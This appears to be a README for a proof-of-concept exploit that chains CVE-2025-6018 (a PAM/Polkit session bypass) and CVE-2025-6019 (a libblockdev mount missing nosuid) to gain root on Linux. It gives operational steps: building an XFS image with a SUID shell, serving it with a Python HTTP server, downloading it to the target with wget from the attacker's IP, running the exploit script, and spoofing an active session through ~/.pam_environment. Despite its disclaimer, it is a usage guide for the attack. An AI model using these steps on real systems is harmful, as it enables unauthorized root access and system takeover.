
A Proof of Concept for chaining CVE-2025-6018 (PAM/Polkit Active Session Bypass) and CVE-2025-6019 (libblockdev SUID Mount Flaw) to achieve Local Privilege Escalation (LPE) on vulnerable Linux systems.
A robust Proof of Concept (PoC) for chaining CVE-2025-6018 (PAM/Polkit Active Session Bypass) and CVE-2025-6019 (libblockdev SUID Mount Flaw) to achieve root access on vulnerable Linux systems.
This tool is for educational purposes and authorized security research only. Do not use this on systems you do not own or have explicit permission to test.
This exploit chains two logical flaws to escalate privileges from a standard user to root:
Active=yes. This trick convinces the system that the remote user is physically present at the console, bypassing password requirements for hardware management tools like udisks2.libblockdev library (used by udisks2) fails to apply the nosuid security flag when temporarily mounting a filesystem for maintenance operations (like Check or Resize).Active=yes session status to mount this image as a loop device without a password.Filesystem.Check. This forces udisks2 to temporarily mount the image to verify it. Crucially, this temporary mount lacks nosuid./proc/mounts in real-time. The moment the temporary mount appears, it executes the SUID payload before the system unmounts it.Because the target machine often lacks tools like mkfs.xfs or gcc, we generate the payload locally.
Run the build script on Kali/Parrot:
./build_poc.sh
exploit.img (400MB XFS image with SUID shell).catcher (The race-condition winner).Upload the files to the target: Start a Python server:
python3 -m http.server 80
On the target machine (e.g., in /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Download the exploit script:
Save the exploit.sh content from this repo to the target machine.
Run the exploit:
chmod +x exploit.sh
./exploit.sh
Enjoy Root: The script will automatically set up the loop device, start the background catcher, and trigger the vulnerability. You should be dropped into a root shell immediately.
If the script asks for a password, your SSH session is not active. Fix:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. It must say Active=yes.The vulnerable window is only milliseconds wide.
build_poc.sh), not a Bash loop.Filesystem.Check method, which is more reliable than Resize.build_poc.sh (Attacker Side)Automates the creation of the malicious image and compiles the static binaries.
exploit.sh (Target Side)The orchestrator. It handles:
catcher in the background.udisksctl.Filesystem.Check call.